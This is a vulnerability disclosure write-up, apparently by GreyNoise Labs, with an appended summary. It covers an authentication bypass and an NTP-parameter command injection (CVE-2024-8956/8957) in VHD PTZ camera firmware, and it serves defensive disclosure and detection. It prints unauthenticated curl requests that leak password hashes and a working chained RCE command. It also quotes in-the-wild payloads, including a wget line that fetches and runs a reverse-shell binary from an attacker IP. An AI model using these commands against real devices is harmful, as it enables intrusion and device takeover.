Full Report
Introduction The GreyNoise Labs team discovered the vulnerabilities below after pivoting off the payload flagged by Sift, an LLM-powered threat hunting tool we use to make Finding Signals in the (Grey) Noise and writing tags more efficient. If you’re interested in how Sift boils daily ~2 million HTTP events down to ~50 that require an analyst to look at, see:https://www.greynoise.io/blog/introducing-sift-automated-threat-hunting. A peek at the internal Sift instance and the report that caught our attention: After the initial investigation yielded that no such combination of URI / parameter is known to our vast historical dataset and the Internet, it was enough to get nerd sniped. Vulnerability Details We’d like to thank VulnCheck and especially Jacob Baines for assisting with the disclosure process. ValueHD Corporation (VHD) is a supplier of a white-label AV equipment, including hefty-priced pan-tilt-zoom (PTZ) cameras equipped with Network Device Interface (NDI). Known affected software / hardware: VHD PTZ camera firmware Insufficient Authentication, CVE-2024-8956 The cameras feature an embedded lighttpd web server that gives end users an opportunity to stream live video, and control / configure their devices directly from the browser. This functionality is implemented with CGI binaries that users can interact with via the documented API - [1],[2]. Access to the web GUI requires HTTP Basic Authentication. Here is a typical HTTP request sent when an authenticated user interacts with the GUI: POST /cgi-bin/param.cgi?post_network_other_conf HTTP/1.1 Host: SNIP> User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded;charset=utf-8 Content-Length: 690 Origin: SNIP> DNT: 1 Authorization: Digest username="admin", realm="", nonce="66315e58:deab77eb64a41bd4e96983f1745740d9", uri="/cgi-bin/param.cgi?post_network_other_conf", algorithm=MD5, response="349a9f2f33f88116b5fa6a48123845f8", qop=auth, nc=0000001c, cnonce="b69817615c5e4b19" Connection: close Referer: SNIP> cururl=http://&httpport=80&rtspport=554&ptzport=5678&udpport=1259&pelcod_addr=0&pelcop_addr=0&rtmp1_en=0&rtmp1_mrl=rtmp%3A%2F%2F192.168.100.138%2Flive%2Fstream0&rtmp1_video_en=0&rtmp1_audio_en=0&rtmp2_en=0&rtmp2_mrl=rtmp%3A%2F%2F192.168.100.138%2Flive%2Fstream1&rtmp2_video_en=0&rtmp2_audio_en=0&rtsp_auth_en=0&onvif_en=1&onvif_auth_en=0&mcast_en=0&mcast_addr=234.1.2.88&mcast_port=6688&ntp_en=1&ntp_time_zone=GMT5&ntp_addr=time3.google.com&ntp_osd_show_1=0&ntp_osd_x_1=0&ntp_osd_y_1=0&ntp_osd_show_2=0&ntp_osd_x_2=0&ntp_osd_y_2=0&ntp_time_interval=1440&srt_en=0&srt_port=4578&srt_passsid=0&srt_passstr=1234567891&srt_latency=120&srt_mode=listener&srt_bw_precent=25&srt_server=192.168.100.1 Upon accessing the device with omitted Authorization header, CGI API does not return 401 Unauthorized, and exposes the sensitive information about the camera: ~ % curl "http:///cgi-bin/param.cgi?get_device_conf" devname="ptzoptics" devtype="V63C" versioninfo="SOC v6.3.32 - ARM 6.3.51THI" serial_num="" device_model="F16.HI " This seems to be the case for multiple documented commands param.cgi accepts, for example using get_system_conf would leak MD5 hashes of the account passwords, 21232f297a57a5a743894a0e4a801fc3 - ‘admin’ and 084e0343a0486ff05530df6c705c8bb4 - ‘guest’ on the default configuration: ~ % curl "http:///cgi-bin/param.cgi?get_system_conf" username="admin" userpasswd="21232f297a57a5a743894a0e4a801fc3" guestname="guest" guestpasswd="084e0343a0486ff05530df6c705c8bb4" workmode="RTSP" Supplying get_network_conf returns the device’s network configuration: ~ % curl "http:///cgi-bin/param.cgi?get_network_conf" dhcp="0" ipaddr="" netmask="255.255.254.0" gateway="" fdns="" macaddr="" isgb28181="0" httpport="80" rtspport="554" ptzport="5678" udpport="1259" visca_addr="1" pelcod_addr="0" pelcop_addr="0" rtsp_auth_en="0" rtmp1_en="0" rtmp1_mrl="rtmp://192.168.100.138/live/stream0" rtmp1_video_en="0" rtmp1_audio_en="0" rtmp2_en="0" rtmp2_mrl="rtmp://192.168.100.138/live/stream1" rtmp2_video_en="0" rtmp2_audio_en="0" onvif_en="1" onvif_auth_en="0" mcast_en="0" mcast_addr="234.1.2.88" mcast_port="6688" activemode_en="0" activemode_host="192.168.100.138" activemode_port="1234" ntp_en="1" ntp_time_zone="GMT5" ntp_addr="time3.google.com" ntp_osd_show_1="0" ntp_osd_x_1="0" ntp_osd_y_1="0" ntp_osd_show_2="0" ntp_osd_x_2="0" ntp_osd_y_2="0" ntp_time_interval="1440" srt_en="0" srt_addr="127.0.0.1" srt_port="4578" srt_passsid="0" srt_passstr="1234567891" srt_latency="120" srt_mode="listener" srt_server="192.168.100.1" srt_bw_precent="25" Note the ntp_addr="time3.google.com" value above. It’s possible to alter the configuration by using the undocumented (but revealed upon interacting with the GUI, as seen in the very beginning of this section) post_network_other_conf command: ~ % curl "http:///cgi-bin/param.cgi?post_network_other_conf" --data 'ntp_addr=pool.ntp.org' {"Response":{"Result":"Success"}} ~ % curl "http:///cgi-bin/param.cgi?get_network_conf" SNIP> ntp_addr="pool.ntp.org" SNIP> File Write It was very straightforward to obtain the firmware for further analysis. VHD cameras store their network configuration in netport.conf file - param.cgi binary has a few strings that refer to its location: ~/…/jffs2-root/home/www/cgi-bin % strings -n8 param.cgi | grep netport get_netport_conf /data/netport.conf /data/netport.conf /data/netport.conf /data/netport.conf plugin_netport.c netport_init netport_preHandle netport_postHandle netport_afterCompletion netport_cleanup netport_plugin_init observer_netport Upon inspecting the disassembly, param.cgi unveils: netport_preHandle() function that checks if get_netport_conf or post_network_other_conf arguments were passed to the binary, and netport_postHandle() function that calls configure_parse2web() or configure_parse2file() respectively. When called from netport_postHandle(), configure_parse2file(r0_1, "/data/netport.conf") (unsurprisingly) parses the data supplied within the web request, and writes it to /data/netport.conf, as seen in this pseudo C snippet: r0_1 = fopen(arg2, &data_2b8d4); if (r0_1 != 0) { flock(fileno(r0_1), 2); ftruncate(fileno(r0_1), 0); lseek(fileno(r0_1), 0, 0); fputs(*(uint32_t*)r0_15, r0_1); flock(fileno(r0_1), 8); fclose(r0_1); int32_t var_14_5 = 0; usleep(0x7a120); system("sync"); } In case of ntp_addr value, neither configure_parse2file nor any other functions perform the sanitization before writing the configuration. Command Injection, CVE-2024-8957 The product is based on Hi3516A SoC, and v600_hi3516a immediately stands out as the largest binary: ~/…/jffs2-root % du -ah . | sort -rh | head -n 10 37M . 24M ./home 9.5M ./lib 8.0M ./home/v600_hi3516a 3.4M ./home/www 3.2M ./home/ko 3.1M ./bin 2.7M ./lib/libndi.so.4.6.3 1.9M ./home/www/js 1.9M ./home/HZK48S Upon taking a closer look at v600_hi3516a it appears that there’s a function that rather carelessly runs an external ntp_client binary with some arguments. Relevant part: SNIP> memcpy((&line + strlen(&line)), "/home/ntp_client ", 0x12, 0x12); SNIP> system(&line); SNIP> Full pseudo C of the function { void line; memset(&line, 0, 0x80, 0x80); int32_t var_c = 0; memcpy((&line + strlen(&line)), "/home/ntp_client ", 0x12, 0x12); sub_b3280(); int32_t r1_1 = data_1347338; sub_b338c("[%s %s +%-4d %s] gConfig_ntp_add…", 0xabfdf0, "ntp_process.c"); if (data_1347338 != 0) { int32_t r3_3 = data_1347338; strcat(&line, r3_3, &line, r3_3, "ntp_client_run", r1_1); } if (data_134733c != 0) { memcpy((&line + strlen(&line)), &data_6b0e90, 2, 2, "ntp_client_run", r1_1); int32_t r3_6 = data_134733c; strcat(&line, r3_6, &line, r3_6); } sub_b3280(); char const* const var_98 = "ntp_client_run"; void* var_94_1 = &line; sub_b338c("[%s %s +%-4d %s] cmd:%s\n", 0xabfdf0, "ntp_process.c"); system(&line); sub_b3280(); char const* const var_98_1 = "ntp_client_run"; sub_b338c("[%s %s +%-4d %s] leave\n\n", 0xabfdf0, "ntp_process.c"); return 0; } Running the ntp_client with QEMU and passing the NTP server address as a first argument worked as expected: ~/…/jffs2-root/home % qemu-arm -cpu cortex-a7 ./ntp_client pool.ntp.org 2 3 ./ntp_client: cache '/etc/ld.so.cache' is corrupt GetNtpTime 121: HostName = pool.ntp.org send_packet(sockfd); get_new_time 62: new_time 1714664470 499121 settimeofdaynfail ntp get systime success! Passing a system command instead of the NTP server address also worked: ~/…/jffs2-root/home % ls test ls: cannot access 'test': No such file or directory ~/…/jffs2-root/home % qemu-arm -cpu cortex-a7 ./ntp_client $(touch test) 2 3 ./ntp_client: cache '/etc/ld.so.cache' is corrupt GetNtpTime 121: HostName = 2 gethostbyname fail GetNtpTime fail GetNtpTime 121: HostName = 2 gethostbyname fail GetNtpTime fail ~/…/jffs2-root/home % ls test test Chaining the vulnerabilities, the exploitation would be as simple as: curl "http:///cgi-bin/param.cgi?post_network_other_conf" --data 'ntp_addr=$()' Example Running ~ % curl "http:///cgi-bin/param.cgi?post_network_other_conf" --data 'ntp_addr=$(ping${IFS}-c13${IFS})' {"Response":{"Result":"Success"}} Properly results in callback that confirms RCE: ubuntu@ip-172-26-10-187:~$ sudo tcpdump -i eth0 icmp and icmp[icmptype]=icmp-echo tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes 16:25:32.213799 IP SNIP> > ip-172-26-10-187.ec2.internal: ICMP echo request, id 45850, seq 0, length 64 SNIP> 16:25:44.329724 IP SNIP> > ip-172-26-10-187.ec2.internal: ICMP echo request, id 45850, seq 12, length 64 Activity in the Wild The attack that burnt a 0-day originated from 45.128.232.229. It was observed by GreyNoise’s sensor fleet and flagged by the internal Sift instance on 2024-04-23. While we’ve been bound by the disclosure timeline, this IP stayed passive and managed to ‘age out’ from our data. Payload example, RCE probe: POST /cgi-bin/param.cgi?post_network_other_conf HTTP/1.1 Connection: keep-alive Content-Length: 97 Host: SNIP>:81 &ntp_en=1&ntp_time_zone=GMT5&ntp_addr=$(ping${IFS}-c16${IFS}209.141.35.56)&ntp_time_interval=1440 Another variation attempted using wget to download and run a shell script located at http://209.141.35.56/a, which in turn would fetch and run a reverse shell binary: cd /tmp; wget http://209.141.35.56/mipsshell; chmod 777 *; ./mipsshell 209.141.35.56 5556 209.141.35.56 stayed active throughout July 2024, even after FBI seemingly seized this C2 at the time of our investigation in April: Based on the matching IPs, it appears that Fortinet researchers described (ostensibly) the same actor(s) in June 2024: https://www.fortinet.com/blog/threat-research/growing-threat-of-malware-concealed-behind-cloud-services Postscriptum I received a reward under the internal GreyNoise bounty program for finding a 0-day with Sift, and decided to donate the proceedings to The Internet Archive. Their vast eBooks and Texts collection is priceless, and at GreyNoise we often use the Wayback Machine to save for posterity some pesky GitHub snippets / tweets before they disappear forever.
Analysis Summary
# Vulnerability: Insufficient Authentication in VHD PTZ Cameras (CVE-2024-8956)
## CVE Details
- CVE ID: CVE-2024-8956
- CVSS Score: Not explicitly provided in the text (Implied High due to information disclosure)
- CWE: CWE-287 (Improper Authentication)
## Affected Systems
- Products: ValueHD Corporation (VHD) PTZ camera firmware (featuring an embedded lighttpd web server)
- Versions: Unknown specific versions, but affecting firmware utilizing the documented CGI API.
- Configurations: Devices accessible via the web interface.
## Vulnerability Description
The embedded lighttpd web server, exposed via documented CGI binaries accessible via `param.cgi`, fails to enforce HTTP Basic Authentication for configuration retrieval commands (e.g., `get_device_conf`, `get_system_conf`, `get_network_conf`). An unauthenticated request allows an attacker to read sensitive device and system configuration information.
## Exploitation
- Status: Exploited in the wild (Probes observed by GreyNoise)
- Complexity: Low
- Attack Vector: Network
## Impact
- Confidentiality: High (Exposure of serial numbers, device models, default credentials/MD5 hashes, and network settings)
- Integrity: Low (Information disclosure primarily, though configuration parameters are readable)
- Availability: Low
## Remediation
### Patches
- No specific patch versions were mentioned in the provided text.
### Workarounds
- Implement network-level access controls (firewalling) to restrict access to the web GUI ports (e.g., HTTP port 80).
## Detection
- **Indicators of Compromise:** HTTP requests to `/cgi-bin/param.cgi` with undocumented GET parameters (`get_device_conf`, `get_system_conf`, `get_network_conf`) that lack an `Authorization` header.
- **Detection Methods and Tools:** Monitoring web server logs or network traffic for unauthenticated access to the `/cgi-bin/param.cgi` endpoint.
## References
- Vendor Advisories: None provided.
- Relevant links:
- html://www.greynoise.io/blog/introducing-sift-automated-threat-hunting
- html://www.fortinet.com/blog/threat-research/growing-threat-of-malware-concealed-behind-cloud-services
***
# Vulnerability: Command Injection via NTP Parameter (CVE-2024-8957)
## CVE Details
- CVE ID: CVE-2024-8957
- CVSS Score: Not explicitly provided in the text (Implied Critical due to RCE)
- CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'))
## Affected Systems
- Products: ValueHD Corporation (VHD) PTZ camera firmware (specifically binary `v600_hi3516a`)
- Versions: Unknown specific versions.
- Configurations: Devices where unauthenticated access to `post_network_other_conf` is possible (linking to CVE-2024-8956).
## Vulnerability Description
The undocumented CGI endpoint `post_network_other_conf` in `param.cgi` accepts user-supplied data which is written to `/data/netport.conf` without proper sanitization via the `configure_parse2file` function. By injecting shell metacharacters (like `$()`) into the `ntp_addr` parameter, an attacker achieves OS Command Injection, as this data is later executed by the system binary `/home/ntp_client`.
## Exploitation
- Status: Exploited in the wild (RCE probes observed utilizing `ping`)
- Complexity: Low (Requires chaining with the insufficient authentication vulnerability, CVE-2024-8956, or prior network access to the endpoint)
- Attack Vector: Network
## Impact
- Confidentiality: High (Full system compromise possible)
- Integrity: High (Full system compromise possible)
- Availability: High (Full system compromise possible, including executing reverse shells)
## Remediation
### Patches
- No specific patch versions were mentioned in the provided text.
### Workarounds
- Block unauthenticated use of the `post_network_other_conf` endpoint.
- Implement strict input validation and sanitization for the `ntp_addr` parameter to prevent shell metacharacters.
## Detection
- **Indicators of Compromise:** HTTP POST requests to `/cgi-bin/param.cgi?post_network_other_conf` containing shell command execution syntax within parameters (e.g., `$()`, `|`, `;`) in the POST body, particularly targeting `ntp_addr`. Observed payloads included: `ntp_addr=$(ping${IFS}-c16${IFS}209.141.35.56)` and attempts to download/execute reverse shells.
- **Detection Methods and Tools:** Network monitoring for outbound connections (like ICMP pings or DNS lookups) originating from the camera to external IP addresses following a configuration update request.
## References
- Vendor Advisories: None provided.
- Relevant links:
- html://www.greynoise.io/blog/introducing-sift-automated-threat-hunting
- html://www.fortinet.com/blog/threat-research/growing-threat-of-malware-concealed-behind-cloud-services